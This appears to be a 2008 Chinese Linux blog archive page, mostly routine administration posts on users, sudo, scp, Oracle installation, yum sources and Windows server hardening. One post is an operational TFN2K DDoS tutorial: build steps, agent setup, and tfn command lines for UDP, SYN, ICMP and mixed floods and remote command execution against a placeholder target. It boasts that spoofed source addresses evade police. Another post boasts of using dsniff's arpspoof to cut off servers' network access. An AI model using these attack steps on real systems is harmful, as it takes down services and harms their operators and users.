六月 « 2008 « LINUXQQ

六月 20, 2008

LINUX用户安全管理

Filed under: linux — 标签：LINUX用户安全管理 — admin @ 12:15 下午

LINUX用户安全管理

在linux中，每个普通用户都有一个帐户，包括用户名、密码和主目录等信息。除此之外，还有一些系统本身创建的特殊用户，它们具有特殊的意义。其中最重要的是超级用户，在linux中，它默认用户名是root。

　　◆基本操作

　　● 增加一个用户newuser ：

useradd newuser

　　passwd newuser （然后根据提示两次输入新用户的密码。）

　　注意点用useradd增加一个用户后应该立刻用passwd给新用户修改密码，没有密码的新帐号将不能使用。在/etc/passwd文件中，没有密码的新用户的记录是如下一行：

newuser:!!:506:506::/home/newuser:/bin/bash

　　在这一行里，用户的密码域被设置成了“！！”，这就意味着用户口令还没有设置，用户不能登陆。(passwd文件的格式是用户名：密码：用户ID（UID）：组ID（GID）：全名：用户目录：外壳脚本)。

　　当然你可以用-d开关设置新用户的主目录（例如：useradd newuser –d /www），也可以用-g开关为用户指定新组名（例如：useradd newuser –g linuxusers）,你还可以用-G开关把新用户设成系统其它一些组的成员（例如：useradd newuser –G users,shutdown）。所有这些，你都可以在本站的命令查询中得到详细信息。

　　附注：相应的，仅仅增加一个新组可以用命令groupadd。

　　●修改现有用户的帐号：

　　1、修改密码

　　普通用户可以用passwd修改自己的密码，只有管理员才能用passwd username为其它用户修改密码。

　　2、修改用户shell设置

　　使用chsh命令可以修改自己的shell，只有管理员才能用chsh username为其它用户修改shell设置。注意，指定的shell必须是列入/etc/shells文件中的shell，否则该用户将不能登陆。

　　你也可以使用usermod命令修改shell信息，如下所示：

usermod –s(new shell path)(username)

　　其中new shell path和username应取相应的值。

　　3、修改主目录设置

usermod –d(new home directory)(username)

　　如果想将现有主目录的主要内容转移到新的目录，应该使用-m开关，如下所示：

usermod –d –m/www/newuser newuser

　　4、修改UID

usermod –u UID username

　　主目录中所有该用户所拥有的文件和目录都将自动修改UID设置。但是，对于主目录外该用户所拥有的文件，只能手工用chown命令修改所有权设置。

　　5、修改默认组设置

username –g(group name) or GID username

　　6、修改帐号的有效期

　　如果使用了影子口令，则可以使用如下命令来修改一个帐号的有效期：

usermod –e MM/DD/YY username

　　例如把用户newuser的有效期定为12/31/01：

usermod –e 12/31/01 newuser

　　7、删除或禁止用户帐号

　　使用userdel命令删除现有用户。例如，下面的命令将删除bluewind用户：

usedel bluewind

　　如果想同时删除该用户的主目录以及其中所有内容，要使用-r开关来递归删除。值得注意的是你无法删除已经进入系统的用户，如果想强行完成，需要先killall有关它的进程,然后再运行userdel命令。

　　如果只是想暂时禁止某个帐号，可以使用下列方法：

　　a、使用无效的shell。例如使用usermod –s newshell username将用户的 shell改为/bin/false（最好把它列入/etc/shells文件里）。

　　b、使该帐号过期。如果使用影子口令，可使用usermod –e MM/DD/YY username命令使该帐号过期。

　　如果想禁止所有帐号（root帐号当然除外）的访问，可以创建一个名为/etc/nologin的文件，说明系统暂时不允许访问。注意，确认你还能用root直接登陆才使用这个办法，否则你惨了。

　　本文中的所有命令都可以在linuxaid获得中文详细的帮助。下一个部分我们讲述用户管理的高级内容。

　　◆超级用户权限与授权

　　●建立多个超级用户

　　不少新系统管理员认为root用户是唯一的超级用户，其实root只是系统默认的超级用户的名称，root并非因为它叫root而成为超级用户的。随便打开一个/etc/passwd文件的例子，你就会发现如下几行：

root:asiewhgYfaoO/J:0:0:root:/root:/bin/tcsh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
lanf:Yuao56Ioyefg:0:0:bluewind:/home/bluewind:/bin/bash
jake:gUyfaiIodashfj:501:501:jake cheng:/home/jake:/bin/tcsh
apache:!!:502:502::/usr/local/apache:/bin/false

　　可以看到，root的UID和GID都被设置为0了。实际上，超级用户的充要条件就是UID和GID都等于0。也就是说，任何用户，只要它的UID和GID都为0，就与常被称为root超级用户没有什么两样了。比如上面那个例子里面的lanf，也是一个超级用户。

　　所以，可以将任何普通用户变成超级用户。但是，这样做并没有好处，很多时候这都会增加系统的隐患。除非在组织中需要多个系统管理员管理同一个系统，这就需要有多个超级用户帐号。这有利于各个管理员明确责任，通过日志知道不同的人分别做过什么事。

　　还有一种情况，也可能出现多个超级用户帐号，那就是黑客入侵后设置一个看起来象普通帐号的用户，却修改了UID和GID使之为0。这样根本就不需要知道root用户密码，就可以执行超级用户权限了。而从我们的系统管理员的一方来说，我们不可能时刻注意passwd文件的变化的，没有那个时间也没有那个精力。这时只好编写一个脚本来帮助监视，例如：

/bin/grep ‘0:0’ /etc/passwd |awk ‘BEGIN{FS=”:”}
{print $1}’|mail –s “`date +”%D%T”`”root

　　这是一个很小的脚本程序，使用了一些常规的命令来查看/etc/passwd文件，把UID和GID为0的行寄给root用户。把这个脚本放在/etc/cron.daily文件中让cron运行，root将每天收到一封信，报告当前的超级用户。

　　实际上，由于PAM（可插入验证模块）的限制，在telnet上是不允许超级用户登入的，也就是说，黑客修改了自己的UID和GID后，想再次登陆从而获得超级用户的权限的话，不修改/etc/seuretty文件是不可能的——除非你傻到自己添加了伪TTY设备ROOT用户登陆权限。一般可以让超级用户先用普通用户帐号登陆，再su（su命令相关内容请参考本站命令查询部分）。

　　●为普通用户分配特权

　　使用sudo命令可以允许普通用户执行超级用户才能执行的命令。无论是基于信任的建立需要时间，还是基于是否存在这种必要，我们都不会把超级用户的所有权限轻易许人的。这是网管工作的原则。所以，当一些用户必须访问某些内容时，我们可以配置sudo以允许单独的普通用户运行特权命令。

　　sudo命令允许已经在/etc/sudoers文件中指定的用户运行超级用户命令。例如，一个已经获得许可的普通用户可以运行：

sudo vi /etc/passwd

　　实际上，sudo的配置完全可以让我们指定某个列入/etc/sudoers文件的普通用户可以做什么、不可以做什么。/etc/sudoers的配置行如下：

　　> 空行或注释行（以#字符打头）：无用行。

　　> 可选的主机别名行：用来创建主机列表的简称。必须以Host_Alias关键词开头，列表中的主机必须用逗号隔开。例如：

Host_Alias REDHAT=binbu,qd

　　其中binbu和qd是俩主机名，你可以用REDHAT（别名）统称它们。

　　>可选的用户别名行：用来创建用户列表的简称。用户别名行必须以User_Alias关键词开头，列表中的用户名必须以逗号隔开。其格式同主机别名行。

　　>可选的命令别名行：用来创建命令列表的简称。必须以Cmnd_alias开头，列表中的命令必须用逗号隔开。

　　>可选的运行方式别名行：也是用来创建用户列表的简称。不同的是，使用这样的别名可以告诉sudo程序以列表中某一用户的身份来运行程序。

　　>必要的用户访问说明行：用户访问的说明语法如下：

user host= [run as user ] command list

　　在user处指定一个真正的用户名或定义过的别名，同样的，host也可以是一个真正的主机名或者定义过的主机别名。默认情况下，sudo执行的所有命令都是以root身份执行。如果你想使用其他身份可以指定。至于command list可以是以逗号分隔的命令列表，也可以是一个已经定义过的别名。例如：

lanf binbu=/sbin/shutdown

　　这一句说明lanf可以在binbu主机上运行关机命令。

　　注意：

　　1、可以在一行定义多个别名，中间用：隔开。

　　2、可以在命令或命令别名之前加上！号，使该命令或命令别名无效。

　　3、有两个关键词：ALL 和NOPASSWD。ALL意味着“所有文件”（所有主机或所有命令），NOPASSWD意味着不用密码。

　　下面是一个sudoers文件的例子：

#sudoers files
#User alias specification
User_Alias ADMIN=yourid:POWERUSER=hisid,herid
#user privilege specification
ADMIN ALL=ALL
POWERUSER ALL=ALL,!/bin/su

　　第三行定义了两个别名ADMIN和POWERUSER，第五行说明在所有主机上ADMIN都可以以root身份执行所有命令。第六行给POWERUSER除了运行su命令外同等ADMIN的权限。

Comments (0)

linux环境变量设置错误后，如何恢复解决方案

Filed under: linux — 标签：linux环境变量设置错误后，如何恢复解决方案 — admin @ 12:13 下午

linux环境变量设置错误后，如何恢复解决方案

linux环境变量设置错误后，如何恢复解决方案：在命令行中输入：export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin 后回车
/etc/profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行.并从/etc/profile.d目录的配置文件中搜集shell的设置./etc/bashrc:为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取.~/.bash_profile:每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次!默认情况下,他设置一些环境变量,执行用户的.bashrc文件.~/.bashrc:该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取.~/.bash_logout:当每次退出系统(退出bash shell)时,执行该文件. 另外,/etc/profile中设定的变量(全局)的可以作用于任何用户,而~/.bashrc等中设定的变量(局部)只能继承/etc/profile中的变量,他们是”父子”关系.~/.bash_profile 是交互式、login 方式进入 bash 运行的~/.bashrc 是交互式 non-login 方式进入 bash 运行的通常二者设置大致相同，所以通常前者会调用后者。 www.linux010.cn (来源：linux010)

tags:linux,文件,变量,环境,环境变量,设置

关于在虚拟机内LINUX和WINDOWS系统文档互相访问的问题

我的电脑是XP系统，安装了VMware Workstation6.0.0 build 45731，并且在虚拟机里面安装了Fedora Core 5 LINUX，由于我的宽带客户端不支持LINUX系统，所以，我只能..

有点意思的新闻，Linux让设备受益

Linux的传统根据地在于服务器和工作站,而它正在这之外的非常小的设备上取得成功。对于嵌入式系统开发人员来说，Linux优于专有操作系统的优势除了低成本外，还在于..

在VMware Server和Red Hat Enterprise Linux 5上安装VMware Tool..

按照Readme中的安装方法，一步步按照默认的设置下来，出现如下错误： What is the location of the directory of C header files that match your running kerne..

Linux：我的虚拟机下FDISK命令用不起来的原因

这个绝非安装的问题.因为对于root用户而言，PATH值和普通用户不同，它在普通用户PATH值的基础上一般还包含了/sbin和/usr/sbin。所以如果普通用户在执行命令时，如..

Linux超级终端minicom设置命令

1.进入root用户 2.命令：＃minicom -s 3.设置serial port setup： A — Serial Device : /dev/ttyS0 E — Bps/par/Bits : 9600 8N1 4.设置Modem and dialing 去掉..

Linux中umask笔记

您知道当你建立一个新的档案或目录时，他的预设属性会是什么吗？呵呵！那就与 umask 有关了！那么 umask 是在搞什么呢？基本上， umask 就是指定『目前使用者在建..

Linux下显示农历日期（gnome）

lunar applet 是gnome面板上的一个小插件, 在原来的时钟插件代码的基础上修改而成, 增加了农历日期显示的功能, 可以添加到您的Gnome面板上代替原来的时钟插件. ..

在用Linux的日子有感

已经开学了，Fedora 7用起来太舒服了，想做什么都可以，编程、服务器、数据库…… 经过认真考虑，决定暂时放弃ACM，虽然心里很不想就这么停下来，但为了以后个人..

安Linux，分区错误的后果

早几天想给Fedora Linux分多点空间，结果出错了，硬盘数据全部丢失。本来也没怎么在意，心想就这半年的东西丢了应该没什么要用的。连续上了4天课，直到今天回实..

反Linux难敌七大理由

1. 支持Linux的应用太少别人不支持是Linux的错吗？支持Linux很难吗？这是一个鸡与蛋的问题。事实是真的很难。 2. Linux的最大支持者们疏远潜在新用户 Linux的最..

　　本文转载于Linux观察网－－http://www.linux010.cn

Comments (0)

scp 命令

Filed under: linux — 标签：scp 命令 — admin @ 12:13 下午

scp 命令

不同的Linux之间copy文件常用有3种方法，第一种就是ftp，也就是其中一台Linux安装ftp Server，这样可以另外一台使用ftp的client程序来进行文件的copy。第二种方法就是采用samba服务，类似Windows文件copy的方式来操作，比较简洁方便，第三种就是利用scp命令来进行文件复制。

scp是有Security的文件copy，基于ssh登录。操作起来比较方便，比如要把当前一个文件copy到远程另外一台主机上，可以如下命令。

scp /home/daisy/full.tar.gz root@172.19.2.75:/home/root
然后会提示你输入另外那台172.19.2.75主机的root用户的登录密码，接着就开始copy了。

如果想反过来操作，把文件从远程主机copy到当前系统，也很简单。

scp root@172.19.2.75:/home/root /home/daisy/full.tar.gz

Comments (0)

/dev/null解决办法

Filed under: linux — 标签：/dev/null解决办法 — admin @ 12:12 下午

/dev/null解决办法

系统文件/dev/null丢失怎么办呀

　　重启时出现如下问题

　　/etc/rc.d/rc.sysinit:line 88: /dev/null: Read-only file system

　　/etc/rc.d/rc.sysinit:line 99: /dev/null: Read-only file system

　　configuring kernel parameters: dup2: Bad file descriptor [failed]

　　Setting clock (localtime):Au 60A 18 18:05:04 CST 2005 dup2:Bad file descriptor [failed]

　　loading default keymap (us): /etc/rc.d/rc.sysinit: line 159: /dev/null: Read-only file system [failed]

　　Setting hostname snowtty: dup2:Bad file descriptor [failed]

　　/etc/rc.d/rc.sysinit: line 176: /dev/null: Read-only file system Initializing USB controller (usb-uhci):dup2 : Bad file descriptor [failed]

　　/etc/rc.d/rc.sysinit:line 187: /dev/null :Read-only file system

　　Checking root filesystem dup2: Bad file descriptor [failed]

　　*****An error occurred during the file system check

　　*****Dropping you to a shell ; the system will reboot

　　*****when you leave the shell.

　　Give root password for maintenance

　　我被要求输入管理员密码之后需要修理文件系统。问题是根分区是被以只读的方式安装的！惨啊，什么都没有办法做了。

　　有什么办法没有？各位多谢了！

　　哎,, 由于里面放了好多重要的数据,当时真是急死了,不过还好,算我心细,可能是这个文件丢失了好长时间了,只是没有关,机,所以表现不出来,只是有一个时间出现过,我用普通user进入init5结果说是/dev/null有问题,那时我就知道点,结果后来不知道谁可能是为了玩qq吧,,把我的机子给关了,结果就那样了,后面我到vmware上把linux中的dev/null删了,还是出现这样的问题,哎,,终于松了一口气,google中………

　　用rescue模式进入系统,

　　cd /mnt/sysimage/dev

　　mknod null c 1 3

　　chmod 666 null

　　reboot

　　OK又见到熟悉的东东了, happy本文来自：http://www.linuxpk.com/115.html

Comments (0)

LINUX DDOS攻击

Filed under: linux — 标签：LINUX DDOS攻击 — admin @ 12:11 下午

LINUX DDOS攻击

tfn2k
tfn2k.zip
软件用的是最有名的DDOS，首先说我们用来攻击的客户机和服务器的配置方法，使用当下最有名的REDHAT Linux进行测试，本次攻击测试我使用的是FEDORA CORE3。
　　开始设置服务器：

　　解压 tar -zxvf tfn2k.tgz

　　1.安装TFN2K

　　TFN2K为开放原代码的软件，所以需要我们进行编译，这个不用说了，编译应该都会的吧，但有几个地方是必需注意的，因为使用不同版本和厂商的Linux需要不同的设置。

　　先修改src/ip.h

　　注释掉以下部分，否则编译出错。

　　/*struct in_addr

　　{

　　unsigned long int s_addr;

　　}; */

　　然后make进行编译

　　编译时会提示你输入服务器端进行密码设置8-32位，(攻击的时候需要输入密码)编译后会出现两个新的执行文件td 和 tfn,其中td是守护进程，也是客户机的使用进程。而tfn是服务器控制进程，如果想攻击别人就必需先起动td这个进程，然后再运行服务器进程，否则攻击无效,更改密码可以执行mkpass进行更改。最后在所有的客户机中安装并运行td(需要ROOT权限)，并且在服务器上建立一个文本文件，文件中记录所有的客户机IP地址(用VI编辑一个就可行了)，格式为:

　　192.168.0.1

　　192.168.0.2

　　192.168.0.3

　　…..

　　然后在主服务器上运行./tfn

　　2.DDOS攻击实现

　　./tfn直接回车大家可以看到一些参数,英文好的朋友估计不用我来多讲了:)

　　格式./tfn <参数>

　　无用的参数我们不提,我们来说攻击用的

　　-f 这个参数后面跟刚才所写的文本文件名,就是真正实现DDOS攻击,而不是DOS

　　-h DOS攻击,也就是单机,一对一的攻击后面跟一个主机或IP地址

　　-p 后面指定一个端口,不用说了

　　-c 最关键的参数,一共有11个选相

　　0 – 停止攻击,发善心用的

　　1 – 反欺骗等级设定 ,因为TFN这个工具在攻击的时候所发出的数据包是带有源地址的,但是源地址是随机的,也就是说地址不是你自给的,所以不用担心警察抓,哈哈

　　2 – 改编数据包的包尺寸：缺省的ICMP/8,smurf,udp攻击缺省使用最小包。你可以通过改变每个包的有效载荷的字节增加它的大小。
3 – 绑定root shell:启动一个会话服务，然后你连接一个指定端口就可以得到一个root shell。

　　4 – UDP洪水攻击：这个攻击是利用这样一个事实：每个udp包被送往一个关闭的端口，这样就会有一个ICMP不可到达的信息返回，增加了攻击的能力。

　　5 – SYN洪水攻击：这个攻击有规律的送虚假的连接请求。结果会是目标端口拒绝服务，添瞒TCP连接表，通过对不存在主机的TCP/RST响应增加攻击潜力,是标准的拒绝服务攻击.

　　6 – ICMP响应(ping)攻击：这个攻击发送虚假地址的ping请求，目标主机会回送相同大小的响应包。

　　7 – SMURF攻击：用目标主机的地址发送ping请求以广播扩大，这样目标主机将得到回复一个多倍的回复。

　　8 – MIX攻击：按照1:1:1的关系交替的发送udp,syn,icmp包，这样就可以对付路由器，其它包转发设备，NIDS,sniffers等,轮番轰炸:)

　　9 – TARGA3攻击

　　10 – 远程命令执行,这个参数是TFN的附加功能,其实TFN的攻击不仅仅是DOS,还可以远程的进行明令控制,如:

　　./tfn -f hostext -c 10 -i “mkdir /root/edison” 在所有的HOST上root家目录建立edison,-i后面跟”命令”

　　参数基本说完,下面攻击

　　./tfn -f hostext -c 4 -i www.xxx.com

　　使用hostext文件中记录的主机对163服务器进行UDP攻击(所有的主机中必需已经起动td进程)

　　./tfn -f hostext -c 5 -i www.xxx.com -p 80

　　使用hostext文件中记录的主机对163服务器进行TCP拒绝服务攻击(80攻击WEB,其他不用说了)

　　./tfn -f hostext -c 6 -i www.xxx.com

　　使用hostext文件中记录的主机对163服务器进行ICMP攻击(PING攻击,缓冲区溢出马上死机)

　　./tfn -f hostext -c 8 -i www.xxx.com

　　使用hostext文件中记录的主机对163服务器进行ICMP&TCP&UDP轮番攻击(如果对方是sniffer一定哭死)

　　./tfn -f hostext -c 0

　　让所由主机停止攻击

　　基本说完,最后说说我的测试结果

　　一对一攻击,攻击方式TCP 连接方式本地本地CPU13% 被攻击的服务器CPU使用率70%以上,并时时波动

　　二对一攻击,攻击方式TCP 连接方式本地本地单机CPU13% 被攻击的服务器CPU使用率100%

　　五对一攻击,攻击方式TCP 连接方式本地本地单机CPU13% 被攻击的服务器死机.本人家里只有6台机器,但如果再多点,几十台机器,一般的个人服务器肯定要死掉了

　　一对一攻击,攻击方式ICMP 连接方式本地本地CPU18% 被攻击的服务器CPU使用率96%以上,并时时波动二对一攻击,攻击方式ICMP 连接方式本地本地单机CPU18% 被攻击的服务器以经无法上网,几乎无法使用,半小时内死机。

具体命令如下:
将tfn2k.zip 上传到服务器上.
然后在进入服务器敲入 unzip tfn2k.zip 解压缩包.然后在1,cd /tfn2k/src 2,make 3,make install 4,vi ip 创建个文件输入本机IP 然后wq!保存退出 5,./td 运行进程接下来就可以攻击了.
6,./tfn -f ip -c 5 -i www.xxx.com -p 80

Comments (0)

系统认证内部错误的解决办法

Filed under: 乱7八糟 — 标签：系统认证内部错误的解决办法 — admin @ 12:10 下午

系统认证内部错误的解决办法

花了我3天就一个小小的错误 3天哎希望各位菜鸟同志别学习我
系统认证内部错误网上没有把办法说全我现在解释一下
我的APACHE是编译安装的
/usr/local/apache
把/usr/local/apache/cgi-bin/openwebmail/etc/auth_unix.conf 复制到/etc/的目录底下
然后修改成passwdfile_plaintext /etc/passwd
passwdfile_encrypted /etc/shadow
passwdmkdb none
这样
在去修改/usr/local/apache/cgi-bin/openwebmail/auth/auth_unxi.pl
my $passwdfile_plaintext = $conf{‘passwdfile_plaintext’} || ‘/etc/passwd’;
my $passwdfile_encrypted = $conf{‘passwdfile_encrypted’} || ‘/etc/shadow’;
my $passwdmkdb = $conf{‘none’} || ‘/usr/sbin/pwd_mkdb’;
按着我的做确保你没错

Comments (0)

dsniff 攻击

Filed under: linux — 标签：dsniff 攻击 — admin @ 12:09 下午

郁闷晚上回家老被人拿软件限速度不想那么简单的被欺负于是琢磨了下用LINUX的dsniff挨个收拾他们
dsniff的安装很费劲　我好不容易到国外的站上找了个自动安装的脚本　现在发布出去　但是只针对centos　的　其他的什么ＦＣ　ＳＵＳＥ　这些　需要到国外的网站上去找另外的脚本　　
大家不要去做坏事情我就是用了下 arpspoof 就让２服务器断网了　就算交换机做了端口隔离也没用

郁闷　我上传了附件怎么没了　
给你们ＦＴＰ地址吧
122.200.64.115 user:dsniff passwd dsniff

Comments (0)

oracle 10g for linux

Filed under: linux — 标签：oracle 10g for linux — admin @ 12:08 下午

oracle 10g for linux

1：root用户执行：df -k /tmp
可用空间大于就400M可以

2：cat /etc/issue 命令查看linux版本
3：uname -r 命令查看内核

4：检查相关的包

命令是：rpm -q 相关包

5：建两个组

/usr/sbin/groupadd oinstall
/usr/sbin/groupadd dba

6：建用户

/usr/sbin/useradd -g oinstall -G dba oracle

7：passwd oracle 给它设密码

8: vi /etc/sysctl.conf（修改这个文件）如下：

kernel.shm=2097152
kernel.shmmax=2147483648
kernel.shmmni=4096
kernel.sem=250 32000 100 128
fs.file-max=65536
net.ipv4.ip_local_port_range=1024 65000
net.core.rmem_default=262144
net.core.rmem_max=262144
net.core.wmem_default=262144
net.core.wmem_max=262144

保存退出.

9: /sbin/sysctl -p
使改的内容生效

10: 执行vi /etc/security/limits.conf
加入以下内容：
oracle soft nproc 2047
oracle hard nproc 16384
oracle soft nofile 1024
oracle hard nofile 65536

11: 执行vi /etc/pam.d/login
加入以下内容：
session required /lib/security/pam_limits.so

12: 执行 vi /etc/profile
加入

if [ $USER = "oracle" ];then
if [ $SHELL="/bin/ksh"];then
ulimit -p 16384
ulimit -n 65536
else
ulimit -u 16384 -n 65536
fi
fi

13:创建安装点如下:

mkdir -p /u01/app/oracle

mkdir -p /u02/oradata

chown -R oracle:oinstall /u01/app/oracle /u02/oradata

chmod -R 775 /u01/app/oracle /u02/oradata

——————-以下是oracle用户————-
新开窗口，使用oracle用户
su oracle
执行：
cd ~
vi .bash_profile

加上以下：
umask 022
TEMP=/tmp
TMPDIR=/tmp
export TEMP TMPDIR
ORACLE_BASE=/u01/app/oracle/oracle
ORACLE_HOME=/u01/app/oracle/oracle/product/10.2.0/db_1
ORACLE_SID=orcl
export ORACLE_BASE ORACLE_SID ORACLE_HOME
PATH=/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/oracle/bin:/u01/app/oracle/oracle/product/10.2.0/db_1/bin:/usr/X11R6/bin
export PATH

执行命令：令修改生效
source .bash_profile

———————————————

用oracle用户登录，进入到解包后的文件夹，执行runinstaller安装命令。

执行第二个脚本时，提示：Enter the full pathname of the local bin directory:[/usr/ local/ bin]:时直接回车

安装完成后，在oracle用户的终端里执行：ps -A
如果有很多oracle等，说明安装成功

lsnrctl start 启动监听（以oracle 用户登录）
emctl start dbconsole 启动企业管理器

然后下载安装sql plus9.0
cd /u01/app/oracle/product/10.2.0/db_1/bin/

./sqlplus / as sysdba

Comments (0)

as4 通过yum自动升级实现

Filed under: linux — admin @ 12:06 下午

as4 通过yum自动升级实现

as4 通过yum自动升级实现 2007-10-26 23:38:14

第一种方法:
yum源来自chinalinuxpub.com,用的是centos包,
下载地址: http://www.chinalinuxpub.com/yum.tgz
安装:
tar zxvf yum.tgz
cd yum
rpm -ivh *.rpm

rm -rf /etc/yum.repos.d/CentOS-Base.repo
vi /etc/yum.repos.d/as4-update.repo
加入：
#released updates
[update]
name=Red Hat Enterprise AS release 4 Updates
baseurl=http://ftp.chinalinuxpub.com/redhat/enterprise/updates/4AS/
gpgcheck=1
gpgkey=http://ftp.chinalinuxpub.com/redhat/enterprise/RPM-GPG-KEY-linuxpub

vi /etc/yum.repos.d/as4-base.repo
加入：
#released base
[base]
name=Red Hat Enterprise AS release 4 Updates
baseurl=http://ftp.chinalinuxpub.com/redhat/enterprise/os/i***/RedHat/
gpgcheck=1
gpgkey=http://ftp.chinalinuxpub.com/redhat/enterprise/RPM-GPG-KEY-linuxpub

然后就可以正常使用yum了.

第二种方法:利用CentOS 的yum库升级RHEL AS4
1.下载并安装yum-2.4.0-1.centos4.noarch.rpm文件，下载地址为：
ftp://ftp.pbone.net/mirror/ftp.centos.org/4.2/os/alpha/CentOS/RPMS/yum-2.4.0-1.centos4.noarch.rpm

2.修改或建立/etc/yum.repos.d/CentOS-Base.repo为如下内容：
[base]
name=CentOS-$releasever – Base
baseurl=http://ftp.riken.jp/Linux/caos/centos/4.0/os/$basearch/
gpgcheck=1

#released updates
[update]
name=CentOS-$releasever – Updates
baseurl=http://ftp.riken.jp/Linux/caos/centos/4.0/updates/$basearch/
gpgcheck=1

#packages used/produced in the build but not released
[addons]
name=CentOS-$releasever – Addons
baseurl=http://ftp.riken.jp/Linux/caos/centos/4.0/addons/$basearch/
gpgcheck=1

#additional packages that may be useful
[extras]
name=CentOS-$releasever – Extras
baseurl=http://ftp.riken.jp/Linux/caos/centos/4.0/extras/$basearch/
gpgcheck=1

3.修改或建立/etc/yum.repos.d/dag.repo为如下内容：
[dag]
name=Dag RPM Repository for RHEL4
baseurl=http://ftp.riken.jp/Linux/dag/redhat/el4/en/$basearch/dag/
enabled=1
gpgcheck=1
gpgkey=http://ftp.riken.jp/Linux/dag/packages/RPM-GPG-KEY.dag.txt

4.运行update:
yum update

5.升级：
yum upgrade

6.安装其它软件，例如：
yum install mplayer

Comments (0)

windows 安全

Filed under: 乱7八糟 — admin @ 12:05 下午

windows 安全

服务器安全设置

>> 在”网络连接”里，把不需要的协议和服务都删掉，这里只安装了基本的Internet协议（TCP/IP）和Microsoft网络客户端。在高级tcp/ip设置里–”NetBIOS”设置”禁用tcp/IP上的NetBIOS（S）”。

>>在“本地连接”打开Windows 2003 自带的防火墙，可以屏蔽端口，基本达到一个IPSec的功能,只保留有用的端口,比如远程(3389)和 Web(80),Ftp(21),邮件服务器(25,110),https(443),SQL(1433)

>> IIS (Internet信息服务器管理器) 在”主目录”选项设置以下
读允许
写不允许
脚本源访问不允许
目录浏览建议关闭
记录访问建议关闭
索引资源建议关闭
执行权限推荐选择 “纯脚本”

>> 建议使用W3C扩充日志文件格式，每天记录客户IP地址，用户名，服务器端口，方法，URI字根，HTTP状态，用户代理，而且每天均要审查日志。
(最好不要使用缺省的目录，建议更换一个记日志的路径，同时设置日志的访问权限，只允许管理员和system为Full Control)。

>> 在IIS6.0 -本地计算机 – 属性- 允许直接编辑配置数据库在IIS中属性->主目录->配置->选项中。

>> 在网站把”启用父路径“前面打上勾

>> 在IIS中的Web服务扩展中选中Active Server Pages，点击“允许”

>> 优化IIS6应用程序池
　　 1、取消“在空闲此段时间后关闭工作进程（分钟）”
　　 2、勾选“回收工作进程（请求数目）”
　　 3、取消“快速失败保护”

>> 解决SERVER 2003不能上传大附件的问题
　　在“服务”里关闭 iis admin service 服务。
　　找到 windows\system32\inetsrv\ 下的 metabase.xml 文件。
　　找到 ASPMaxRequestEntityAllowed 把它修改为需要的值（可修改为20M即：20480000）
　　存盘，然后重启 iis admin service 服务。

>> 解决SERVER 2003无法下载超过4M的附件问题
　　在“服务”里关闭 iis admin service 服务。
　　找到 windows\system32\inetsrv\ 下的 metabase.xml 文件。
　　找到 AspBufferingLimit 把它修改为需要的值（可修改为20M即：20480000）
　　存盘，然后重启 iis admin service 服务。

>> 超时问题
　　解决大附件上传容易超时失败的问题
　　在IIS中调大一些脚本超时时间，操作方法是：在IIS的“站点或虚拟目录”的“主目录”下点击“配置”按钮，
　　设置脚本超时时间为：300秒 (注意：不是Session超时时间)

　　解决通过WebMail写信时间较长后，按下发信按钮就会回到系统登录界面的问题
　　适当增加会话时间(Session)为 60分钟。在IIS站点或虚拟目录属性的“主目录”下点击“配置–>选项”，
　　就可以进行设置了(Windows 2003默认为20分钟)

>> 修改3389远程连接端口
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
“PortNumber”=dword:0000端口号
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
“PortNumber”=dword:0000端口号
设置这两个注册表的权限, 添加“IUSR”的完全拒绝禁止显示端口号

>> 本地策略—>用户权限分配
　　关闭系统：只有Administrators组、其它全部删除。
　　通过终端服务允许登陆：只加入Administrators,Remote Desktop Users组，其他全部删除

>> 在安全设置里本地策略-用户权利分配，通过终端服务拒绝登陆加入
ASPNET
IUSR_
IWAM_
NETWORK SERVICE
(注意不要添加进user组和administrators组添加进去以后就没有办法远程登陆了)

>> 在安全设置里本地策略-安全选项
网络访问:可匿名访问的共享;
网络访问:可匿名访问的命名管道;
网络访问:可远程访问的注册表路径;
网络访问:可远程访问的注册表路径和子路径;
将以上四项全部删除

>> 不允许 SAM 账户的匿名枚举更改为”已启用”
>> 不允许 SAM 账户和共享的匿名枚举更改为”已启用” ;
>> 网络访问: 不允许存储网络身份验证的凭据或 .NET Passports 更改为”已启用” ;
>> 网络访问.限制匿名访问命名管道和共享,更改为”已启用” ;
将以上四项通通设为“已启用”

>> 计算机管理的本地用户和组
禁用终端服务(TsInternetUser), SQL服务(SQLDebugger), SUPPORT_388945a0

>> 禁用不必要的服务
sc config AeLookupSvc start= AUTO
sc config Alerter start= DISABLED
sc config ALG start= DISABLED
sc config AppMgmt start= DEMAND
sc config aspnet_state start= DEMAND
sc config AudioSrv start= DISABLED
sc config BITS start= DEMAND
sc config Browser start= DEMAND
sc config CiSvc start= DISABLED
sc config ClipSrv start= DISABLED
sc config clr_optimization_v2.0.50727_32 start= DEMAND
sc config COMSysApp start= DEMAND
sc config CryptSvc start= AUTO
sc config DcomLaunch start= AUTO
sc config Dfs start= DEMAND
sc config Dhcp start= AUTO
sc config dmadmin start= DEMAND
sc config dmserver start= AUTO
sc config Dnscache start= AUTO
sc config ERSvc start= DISABLED
sc config Eventlog start= AUTO
sc config EventSystem start= AUTO
sc config helpsvc start= DISABLED
sc config HidServ start= AUTO
sc config HTTPFilter start= DEMAND
sc config IISADMIN start= AUTO
sc config ImapiService start= DISABLED
sc config IsmServ start= DISABLED
sc config kdc start= DISABLED
sc config lanmanworkstation start= DISABLED
sc config LicenseService start= DISABLED
sc config LmHosts start= DISABLED
sc config Messenger start= DISABLED
sc config mnmsrvc start= DISABLED
sc config MSDTC start= AUTO
sc config MSIServer start= DEMAND
sc config MSSEARCH start= AUTO
sc config MSSQLSERVER start= AUTO
sc config MSSQLServerADHelper start= DEMAND
sc config NetDDE start= DISABLED
sc config NetDDEdsdm start= DISABLED
sc config Netlogon start= DEMAND
sc config Netman start= DEMAND
sc config Nla start= DEMAND
